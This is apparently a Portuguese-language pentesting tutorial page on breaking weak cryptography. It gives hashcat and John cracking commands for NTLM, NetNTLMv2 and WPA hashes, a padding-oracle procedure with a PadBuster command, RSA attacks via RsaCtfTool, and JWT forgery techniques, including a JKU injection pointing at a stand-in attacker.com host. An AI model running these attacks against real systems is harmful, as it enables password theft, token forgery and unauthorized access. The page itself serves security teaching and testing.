Seguranca informacao
Cryptography para Hackers
Baixar PDFHashing, criptografia simétrica e assimétrica, attacks práticos em implementações fracas, JWT cracking, known plaintext, padding oracle.
Cryptography mal implementada é vulnerabilidade. Esta página foca em como quebrar crypto na prática — não em matemática pura.
Hashing
Identificação de hashes
| Tamanho | Exemplo | Tipo |
|---|---|---|
| 32 chars | 5f4dcc3b5aa765d61d8327deb882cf99 | MD5 |
| 40 chars | 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 | SHA-1 |
| 64 chars | 5e884898da28047151d0e56f8dc... | SHA-256 |
| 128 chars | d033e22ae348aeb5660fc2140aec35850c4da997... | SHA-512 |
| 60 chars | $2b$12$LJ3m4ys3JmG8MhL... | bcrypt |
| Variable | $argon2id$v=19$m=65536,t=3,p=4$... | Argon2 |
| Variable | $6$rounds=5000$salt$hash | SHA-512 crypt |
Cracking com hashcat
# Identificar hash mode
hashid hash.txt
hashid -m hash.txt # Com hashcat mode
# MD5
hashcat -m 0 hash.txt /wordlists/rockyou.txt
# SHA-1
hashcat -m 100 hash.txt /wordlists/rockyou.txt
# SHA-256
hashcat -m 1400 hash.txt /wordlists/rockyou.txt
# SHA-512
hashcat -m 1700 hash.txt /wordlists/rockyou.txt
# bcrypt
hashcat -m 3200 hash.txt /wordlists/rockyou.txt
# NTLM
hashcat -m 1000 hash.txt /wordlists/rockyou.txt
# NetNTLMv2 (responder captures)
hashcat -m 5600 hash.txt /wordlists/rockyou.txt
# MySQL
hashcat -m 300 hash.txt /wordlists/rockyou.txt
# PostgreSQL
hashcat -m 12 hash.txt /wordlists/rockyou.txt
# Django
hashcat -m 10000 hash.txt /wordlists/rockyou.txt
# WPA/WPA2
hashcat -m 22000 capture.hc22000 /wordlists/rockyou.txt
# Rule-based attacks
hashcat -m 0 hash.txt /wordlists/rockyou.txt -r /rules/best64.rule
# Mask attacks (brute-force)
hashcat -m 0 hash.txt -a 3 ?d?d?d?d?d?d # 6 dígitos
hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l # 8 letras minúsculas
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?l?d?d?d # Upper + 5 lower + 3 digits
# Combinar wordlists
hashcat -m 0 hash.txt -a 1 wordlist1.txt wordlist2.txtCracking com John
john --wordlist=/wordlists/rockyou.txt hash.txt
john --show hash.txt
# Formato específico
john --format=raw-sha256 hash.txt
john --format=bcrypt hash.txt
john --format=nt hash.txt
# Rules
john --wordlist=/wordlists/rockyou.txt --rules hash.txt
john --wordlist=/wordlists/rockyou.txt --rules=best64 hash.txtCriptografia Simétrica
Identificação
# AES (block cipher, 128/192/256 bits)
# Ciphertext geralmente em base64, tamanho múltiplo de 16 bytes
# CBC mode: IV + ciphertext
# GCM mode: IV + ciphertext + tag
# DES/3DES (legacy, 56/168 bits)
# Ciphertext múltiplo de 8 bytes
# DES é crackável com força bruta (~24h com hardware moderno)Padding Oracle (AES CBC)
Se a aplicação retorna diferentes erros para padding inválido vs dados inválidos,
é possível decifrar o ciphertext bloco por bloco.
1. Ciphertext: C0 || C1 || C2
2. Para decifrar C1:
a. Enviar: C0' || C1
b. Modificar último byte de C0' até padding ser válido
c. Último byte do plaintext = C0'[last] XOR 0x01 XOR C0[last]
d. Repetir para cada byte
# Ferramenta: PadBuster
padbuster https://target.com/api/data "ENCRYPTED_COOKIE" 16 -cookies "token=ENCRYPTED_COOKIE"Criptografia Assimétrica (RSA)
Attacks em RSA
1. Chave pequena (n < 2^512)
→ fatorar n com msieve/yafu
→ extrair p, q, calcular d
2. Múltiplas chaves com mesmo módulo (n)
→ gcd(n1, n2) = p
→ fatorar ambas
3. Chave pública compartilhada (e pequeno, ex: e=3)
→ broadcast attack (Håstad)
→ se mesmo plaintext criptografado com e=3 e 3 chaves diferentes
4. Wiener's attack (d pequeno)
→ se d < n^0.25, ataque via frações contínuas
5. Known plaintext
→ se conhece parte do plaintext, parcialmente quebrar
# RsaCtfTool (automatizado)
python RsaCtfTool.py --publickey pubkey.pem --uncipherfile ciphertext.bin
# Para fatorar n pequeno
yafu "factor(12345678901234567890)"
msieve -v 12345678901234567890JWT Cracking
# Decodificar (base64)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# Cracking de HS256 secret
hashcat -m 16500 jwt.txt /wordlists/rockyou.txt
john jwt.txt --wordlist=/wordlists/rockyou.txt --format=HMAC-SHA256
# JWT_Tool
jwt_tool TOKEN -C -d /wordlists/rockyou.txt
# None algorithm
jwt_tool TOKEN -X a
# Gera token com alg: "none", sem assinatura
# Key confusion (RS256 → HS256)
# Se servidor usa RS256, trocar para HS256 e assinar com chave pública
jwt_tool TOKEN -X k -pk pubkey.pem
# JKU injection
# Alterar jku header para apontar para chave do attacker
jwt_tool TOKEN -X s -jwks https://attacker.com/jwks.jsonTiming Attacks
# Comparação de strings com == é vulnerável a timing attack
# Em vez de comparar byte a byte com early return,
# comparar todos os bytes (constant-time comparison)
# Vulnerável:
if (user_token == server_token) { ... }
# Seguro:
import hmac
if (hmac.compare_digest(user_token, server_token)) { ... }
# Na prática:
# Enviar milhares de requests e medir tempo de resposta
# O primeiro byte correto leva ligeiramente mais tempo
# Repetir para cada byteKnown Attacks em Implementações
| Implementação | Vulnerabilidade | Impacto |
|---|---|---|
| MD5 | Collision attacks | Certificados falsos, signatures |
| SHA-1 | SHAttered attack | Collision em PDF, Git |
| DES | Brute-force ~24h | Decifrar dados |
| RC4 | Bias nos primeiros bytes | WEP crack |
| ECB mode | Pattern leakage | Imagem reconhecível |
| CBC sem MAC | Padding oracle | Decifrar ciphertext |
| RSA e=3 | Broadcast attack | Decifrar com 3 chaves |
| RSA d pequeno | Wiener's attack | Extrair chave privada |
| JWT HS256 | Weak secret | Forjar tokens |
| bcrypt cost < 10 | Cracking rápido | Senhas crackadas |
| Custom crypto | Sempre quebrável |
Referências
Network Penetration Testing e Active Directory
Enumerar redes, Active Directory attacks, Kerberoasting, lateral movement, LLMNR poisoning, Pass-the-Hash, BloodHound — pentest de infraestrutura.
WAF Bypass: evasão de firewalls de aplicações web
Técnicas de bypass de WAF (ModSecurity, Cloudflare, AWS WAF), encoding, obfuscation, HTTP request smuggling, HTTP/2 desync.